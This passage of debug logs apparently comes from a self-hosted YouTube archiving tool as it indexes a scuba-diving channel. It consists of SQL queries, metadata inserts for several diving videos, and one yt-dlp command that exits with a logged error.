MISSILE SILO!", "d3dLTP1RNQQ", "https://www.youtube.com/watch?v=d3dLTP1RNQQ", 34, 643, false, "/downloads/rory/BlueWorldTV/2025-02-08 Diving an Abandoned MISSILE SILO!/Diving an Abandoned MISSILE SILO! [d3dLTP1RNQQ].mp4", false, ~U[2025-02-08 15:00:47Z]] 19:02:28.068 [debug] QUERY OK source="sources" db=0.3ms idle=114.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:28.069 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:02:28.069 [debug] QUERY OK source="media_items" db=0.2ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119047] 19:02:28.069 [debug] Current batch of media processed. Will check again in 1000ms 19:02:29.070 [debug] Current batch of media processed. Will check again in 1000ms 19:02:30.071 [debug] Current batch of media processed. Will check again in 1000ms 19:02:31.073 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Todd join world renown cave explorer Robbie Schmittner to explore a new cave that he discovered. The entrance (which he named \"Wishing Well\") turns out to be a new entrance to a large known cave system, much of which is unexplored. We get to explore a brand new section of cave, lay some line in there, and Jonathan even gets to leave his name in the cave on a line arrow.\n\nRobbie Schmittner offers true cave exploration adventures off the beaten path. If you are an EXPERIENCED cave diver and want to do something that very few people ever get to do--explore the unexplored--then Robbie is the guy to call. He is best reached through instagram at @robbieschmittner.\n\nWARNING! CAVE DIVING IS EXTREMELY DANGEROUS AND REQUIRES SPECIAL TRAINING AND EQUIPMENT. NEVER ATTEMPT TO DIVE CAVES WITHOUT PROPER TRAINING!! \n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:19 About Robbie\n2:00 Getting to the cave\n6:00 The dive begins\n7:45 Exploration begins\n14:28 Heading back\n15:32 Summary\n16:27 Credits", "duration" => 1008, "filename" => "/downloads/rory/BlueWorldTV/2024-09-14 Diving an UNEXPLORED cave in Mexico!/Diving an UNEXPLORED cave in Mexico! [GtXs5-njKx8].mp4", "id" => "GtXs5-njKx8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=GtXs5-njKx8", "playlist_index" => 18, "timestamp" => 1726322411, "title" => "Diving an UNEXPLORED cave in Mexico!", "upload_date" => "20240914"} 19:02:31.074 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1852.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:02:31.076 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1853.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:31.078 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=1855.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-14 14:00:11Z], 34] 19:02:31.080 [debug] QUERY OK source="media_items" db=1.1ms idle=1122.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd join world renown cave explorer Robbie Schmittner to explore a new cave that he discovered. The entrance (which he named \"Wishing Well\") turns out to be a new entrance to a large known cave system, much of which is unexplored. We get to explore a brand new section of cave, lay some line in there, and Jonathan even gets to leave his name in the cave on a line arrow.\n\nRobbie Schmittner offers true cave exploration adventures off the beaten path. If you are an EXPERIENCED cave diver and want to do something that very few people ever get to do--explore the unexplored--then Robbie is the guy to call. He is best reached through instagram at @robbieschmittner.\n\nWARNING! CAVE DIVING IS EXTREMELY DANGEROUS AND REQUIRES SPECIAL TRAINING AND EQUIPMENT. NEVER ATTEMPT TO DIVE CAVES WITHOUT PROPER TRAINING!! \n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:19 About Robbie\n2:00 Getting to the cave\n6:00 The dive begins\n7:45 Exploration begins\n14:28 Heading back\n15:32 Summary\n16:27 Credits", "Diving an UNEXPLORED cave in Mexico!", "ec311ece-f080-445e-be85-c961a048e35f", "GtXs5-njKx8", false, "https://www.youtube.com/watch?v=GtXs5-njKx8", 34, [], 1008, false, 18, "/downloads/rory/BlueWorldTV/2024-09-14 Diving an UNEXPLORED cave in Mexico!/Diving an UNEXPLORED cave in Mexico! [GtXs5-njKx8].mp4", false, false, 98, ~U[2024-09-14 14:00:11Z], ~U[2026-06-02 23:02:31Z], ~U[2026-06-02 23:02:31Z], "Jonathan and Todd join world renown cave explorer Robbie Schmittner to explore a new cave that he discovered. The entrance (which he named \"Wishing Well\") turns out to be a new entrance to a large known cave system, much of which is unexplored. We get to explore a brand new section of cave, lay some line in there, and Jonathan even gets to leave his name in the cave on a line arrow.\n\nRobbie Schmittner offers true cave exploration adventures off the beaten path. If you are an EXPERIENCED cave diver and want to do something that very few people ever get to do--explore the unexplored--then Robbie is the guy to call. He is best reached through instagram at @robbieschmittner.\n\nWARNING! CAVE DIVING IS EXTREMELY DANGEROUS AND REQUIRES SPECIAL TRAINING AND EQUIPMENT. NEVER ATTEMPT TO DIVE CAVES WITHOUT PROPER TRAINING!! \n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:19 About Robbie\n2:00 Getting to the cave\n6:00 The dive begins\n7:45 Exploration begins\n14:28 Heading back\n15:32 Summary\n16:27 Credits", "Diving an UNEXPLORED cave in Mexico!", "GtXs5-njKx8", "https://www.youtube.com/watch?v=GtXs5-njKx8", 34, 1008, false, "/downloads/rory/BlueWorldTV/2024-09-14 Diving an UNEXPLORED cave in Mexico!/Diving an UNEXPLORED cave in Mexico! [GtXs5-njKx8].mp4", false, ~U[2024-09-14 14:00:11Z]] 19:02:31.080 [debug] QUERY OK source="sources" db=0.2ms idle=121.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:31.080 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:02:31.081 [debug] QUERY OK source="media_items" db=0.2ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119049] 19:02:31.081 [debug] Current batch of media processed. Will check again in 1000ms 19:02:32.082 [debug] Current batch of media processed. Will check again in 1000ms 19:02:33.083 [debug] Current batch of media processed. Will check again in 1000ms 19:02:34.084 [debug] Current batch of media processed. Will check again in 1000ms 19:02:34.223 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@BlueWorldTV --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rory/BlueWorldTV/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/e7/78/e778023852cf9166f92c5b87edff557d2d166ef53710fd39a79c70c3cfdf9f5e.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/91/51/9151f95ad69931cbcf32e5c7c5d5dffd83639321791876a96e6b5b5630ec0fc5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 19:02:34.224 [debug] Gracefully stopping file follower 19:02:34.224 [debug] QUERY OK source="sources" db=0.2ms idle=260.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:02:34.224 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:34.225 [debug] QUERY OK source="media_items" db=0.9ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 14:00:06Z], 34] 19:02:34.227 [debug] QUERY OK source="media_items" db=1.3ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Christine travel to La Paz where they explore a sea once called \"The World's Aquarium\" by famous underwater explorer Jacques Cousteau. Working with Carey Dive Center, they visit a shipwreck hosting a massive school of grunts, a reef with fish being stalked by a cormorant, a colony of playful sea lions, and feeding whale sharks! All in once place! It's an epic underwater adventure!\n\nCheck out Carey Dive Center:\nhttps://buceocarey.com.mx/\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seaofcortez #lapaz \n\nChapters:\n0:00 Intro\n1:55 Heading out\n3:00 Wreck Dive\n7:14 Reef dive with cormorant\n11:40 Visiting La Paz\n12:45 Los Islotes sea lion colony\n20:00 Sea lions in a cave\n23:00 Whale Sharks\n26:22 Summary and Credits", "Diving the INCREDIBLE Sea of Cortez!", "98c9c862-3a3a-430b-983c-eff3af6727d4", "xqIdz7rvhZY", false, "https://www.youtube.com/watch?v=xqIdz7rvhZY", 34, [], 1640, false, 1, "/downloads/rory/BlueWorldTV/2026-05-23 Diving the INCREDIBLE Sea of Cortez!/Diving the INCREDIBLE Sea of Cortez! [xqIdz7rvhZY].mp4", false, false, 98, ~U[2026-05-23 14:00:06Z], ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], "Jonathan and Christine travel to La Paz where they explore a sea once called \"The World's Aquarium\" by famous underwater explorer Jacques Cousteau. Working with Carey Dive Center, they visit a shipwreck hosting a massive school of grunts, a reef with fish being stalked by a cormorant, a colony of playful sea lions, and feeding whale sharks! All in once place! It's an epic underwater adventure!\n\nCheck out Carey Dive Center:\nhttps://buceocarey.com.mx/\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seaofcortez #lapaz \n\nChapters:\n0:00 Intro\n1:55 Heading out\n3:00 Wreck Dive\n7:14 Reef dive with cormorant\n11:40 Visiting La Paz\n12:45 Los Islotes sea lion colony\n20:00 Sea lions in a cave\n23:00 Whale Sharks\n26:22 Summary and Credits", "Diving the INCREDIBLE Sea of Cortez!", "xqIdz7rvhZY", "https://www.youtube.com/watch?v=xqIdz7rvhZY", 34, 1640, false, "/downloads/rory/BlueWorldTV/2026-05-23 Diving the INCREDIBLE Sea of Cortez!/Diving the INCREDIBLE Sea of Cortez! [xqIdz7rvhZY].mp4", false, ~U[2026-05-23 14:00:06Z]] 19:02:34.228 [debug] QUERY OK source="sources" db=0.3ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:34.229 [debug] QUERY OK source="media_items" db=1.0ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-09 14:01:23Z], 34] 19:02:34.231 [debug] QUERY OK source="media_items" db=1.1ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this hour-long scuba diving adventure, the Blue World team travels to Palau and discovers all the reasons Palau is considered one of the best dive destinations in the world. From reefs to sharks to wrecks to caves and jellyfish lake, Palau has it all. Sit back and join the adventure!\n\nThis content was originally released as five individual webisodes. Here it is presented as a full-length documentary. Filmed in 2019.\n\nVisit Palau with Aggressor Fleet:\nhttps://www.aggressor.com/destination/palau\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n3:00 The first dive\n12:40 Night Dive\n14:30 Jellyfish Lake\n21:50 Wreck Diving\n38:05 Sharks and Strong current\n49:20 Cave Dive\n53:00 Bumphead Parrotfish Spawning\n58:45 Summary & Credits", "Palau Dive Expedition! | BLUE WORLD DOCUMENTARY", "140808ef-9b6e-492f-9ae1-46ca87a20813", "tcF5D-0nX_Y", false, "https://www.youtube.com/watch?v=tcF5D-0nX_Y", 34, [], 3615, false, 2, "/downloads/rory/BlueWorldTV/2026-05-09 Palau Dive Expedition! | BLUE WORLD DOCUMENTARY/Palau Dive Expedition! | BLUE WORLD DOCUMENTARY [tcF5D-0nX_Y].mp4", false, false, 98, ~U[2026-05-09 14:01:23Z], ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], "In this hour-long scuba diving adventure, the Blue World team travels to Palau and discovers all the reasons Palau is considered one of the best dive destinations in the world. From reefs to sharks to wrecks to caves and jellyfish lake, Palau has it all. Sit back and join the adventure!\n\nThis content was originally released as five individual webisodes. Here it is presented as a full-length documentary. Filmed in 2019.\n\nVisit Palau with Aggressor Fleet:\nhttps://www.aggressor.com/destination/palau\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n3:00 The first dive\n12:40 Night Dive\n14:30 Jellyfish Lake\n21:50 Wreck Diving\n38:05 Sharks and Strong current\n49:20 Cave Dive\n53:00 Bumphead Parrotfish Spawning\n58:45 Summary & Credits", "Palau Dive Expedition! | BLUE WORLD DOCUMENTARY", "tcF5D-0nX_Y", "https://www.youtube.com/watch?v=tcF5D-0nX_Y", 34, 3615, false, "/downloads/rory/BlueWorldTV/2026-05-09 Palau Dive Expedition! | BLUE WORLD DOCUMENTARY/Palau Dive Expedition! | BLUE WORLD DOCUMENTARY [tcF5D-0nX_Y].mp4", false, ~U[2026-05-09 